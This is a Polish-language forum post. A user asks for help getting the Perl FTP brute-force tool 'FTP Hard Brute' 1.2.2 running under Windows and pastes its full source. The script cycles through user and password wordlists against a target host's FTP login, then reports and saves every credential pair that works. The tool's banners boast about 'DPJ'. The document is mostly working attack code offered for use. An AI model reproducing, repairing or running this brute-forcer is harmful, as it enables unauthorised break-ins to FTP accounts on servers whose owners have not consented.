Gdy probuje skompilowac brutusa (fhb-1.2.2) w perlu pod windowsem dostaje po uruchomienu cos takiego:
Kod:
System nie moze odnalesc okreslonej sciezki.
o] FTP HARD BRUTE [o
Host:
Kod:
Kod:
#!/usr/bin/perl -w
# ----------------------------------------------------------------------------
use Net::FTP;
use Net::Ping;
use Text::Tabs;
#@list = ();
@users = ();
@passes = ();
@save = ();
#@simple_log = ();
#----------------------------------------------------------------------------
$clear = '/usr/bin/clear';
#
$echo = '/bin/echo';
# echo-command
$p = Net::Ping->new('icmp');
# for icmp ping-method
$screen = " o] FTP HARD BRUTE 1.2.2 [o\n";
# the title
$user_list = 'users';
# path of the User-dictionary: name must be "users"
$pass_list = 'pass';
# path of the Password-dictionary: name must be "pass"
$SIG{INT} = 'abort';
# abortfunction
$tabstop = 8;
# tabulatorstop
# the subfunctions i use...
#-----------------------------------------------------------------------------
sub CLR { open (CLEAR, "|$clear");
# to CLEAR the screen
close (CLEAR);
};
sub ECO { open (ECHO, "|$echo FHB-STATUS: $user - $pass > /dev/tty8");
close (ECHO);
};
sub DOWN { print " \n";
print " $host seems to be down!\n";
print " \n" x 2;
};
sub PING { if ($p->ping("$host",1))
# the ping function. The digit after the host is the timeout. Set it like you want
{ print " \n" x 2;
print " $host is alive!\n";
print " \n" x 2;
}
else { &DOWN; };
};
sub abort { print STDERR " \n\n Aborting...shutting down!\n";
print STDERR " Creating simple Log in homedirectory...\n\n";
chdir ();
$abort_time = scalar localtime;
open (SIMPLE_LOG, ">>FHB-ABORT-LOG-$abort_time");
print SIMPLE_LOG "+-=-=-=-=-=- - - -\n";
print SIMPLE_LOG "= FHB aborted on $abort_time while checking $host:\n\n";
print SIMPLE_LOG "@save";
print SIMPLE_LOG "\n\n= These are the results done by FHB till abort!\n";
print SIMPLE_LOG "+-=-=-=-=-=- - - -\n";
close(SIMPLE_LOG);
exit(0);
};
sub FIRST_INPUT {
print $screen;
print " \n";
print " Host: ";
$host = <STDIN>;
chomp $host;
print " Port: ";
$port = <STDIN>;
chomp $port;
if(defined($ARGV[0])){if($ARGV[0] eq "-p"){print "\n Skipping ping...\n"}
else{print "\n Please read the README...\n\n";
exit(0);};}
else{&PING};};
sub SECOND_INPUT {
print " \n";
print " Do you know any valid Login-name? [y|n]\n";
print " --> ";
$answer_user = <STDIN>;
chomp $answer_user;
if ( $answer_user eq "y")
{
print " \n";
print " Login-name: ";
$valid_user = <STDIN>;
chomp $valid_user;
push @users, "$valid_user";
print " \n";
print " Just run this User ( $valid_user )? [y|n]\n";
print " --> ";
$user_single = <STDIN>;
chomp $user_single;
if ($user_single eq "y")
{ print " \n";
print " Just using $valid_user !\n";
print " Script running...this may take a while...\n";
print " \n";}
elsif ($user_single eq "n") {
print " \n";
print " Using $valid_user first, then User-List !\n";
print " Script running...this may take a while...\n";
print " \n";}
else {&SECOND_INPUT;}
}
elsif ( $answer_user eq "n")
{ print " \n";
print " Using User-List !\n";
print " Script running...this may take a while...\n";
print " \n";
}
else {&SECOND_INPUT;}
};
# the username ask function
# the main-script
# --------------------------------------------------------------------------------------
&CLR;
&FIRST_INPUT;
&SECOND_INPUT;
open (PASS, "$pass_list") || die " Man...where is the pass-list ?\n\n";
open (USER, "$user_list") || die " Man...where is the users-list ?\n\n";
while ($line1 = <PASS>)
{ ($pass) = split(" ",$line1);
push @passes, "$pass";
}
while ($line2 = <USER>)
{ ($user) = split(" ",$line2);
push @users, "$user"
};
# kickin the Lists in the Filehandles
#print @users;
#This was for test man !
#print @passes;
#print $user;
#print $pass;
close(USER);
close(PASS);
foreach $user (@users){
# if ($valid_user eq $user) { next; }
foreach $pass (@passes)
{$ftp=Net::FTP->new("$host", Port=>"$port") || die " There is no FTP-Server running on this port!\n\n";
&ECO;
if ($ftp->login("$user","$pass"))
{print " Gotcha! ", scalar localtime,"\n";
print " --------------------------------\n";
print " \n";
print " $host is open at:\n";
print " LOGIN: $user\n";
print " PASS: $pass\n";
$time = scalar localtime;
print " \n";
chomp $user;
chomp $pass;
chomp $time;
push @save, "$user\t$pass\t$time\n";
$ftp->close;
if ($user_single eq "y") {&SAVEASK}
last;
}
# checking for correctness
$ftp->close; }};
sub SAVEASK {
print " Save results to file ? [y|n]\n";
print " --> ";
$save_answer = <STDIN>;
chomp $save_answer;
if ( $save_answer eq "y") { print " \n";
print " Path to save: ";
$save_path = <STDIN>;
chomp $save_path;
open (XFILE, ">>$save_path") || die " Can't create SAVEPATH!\n";
print XFILE "\n";
print XFILE "-=-=-=-=- - - - -\n";
print XFILE "$host is open at:\n";
print XFILE " \n";
print XFILE "@save";
print XFILE "-=-=-=-=- - - - - \n\n";
print XFILE "DPJ kicks some nasty butt!\n";
print XFILE "chaozkid.ath.cx";
close (XFILE);
print " File saved!\n";
print " \n\n";
print " DPJ kicks damn ass!\n\n";
exit(0);
}
elsif ( $save_answer eq "n") { print " \n\n";
print " Finished without saving!\n\n";
print " DPJ kicks damn ass!\n\n";
exit(0);
}
else { &SAVEASK; };
};
&SAVEASK;
# exit(0);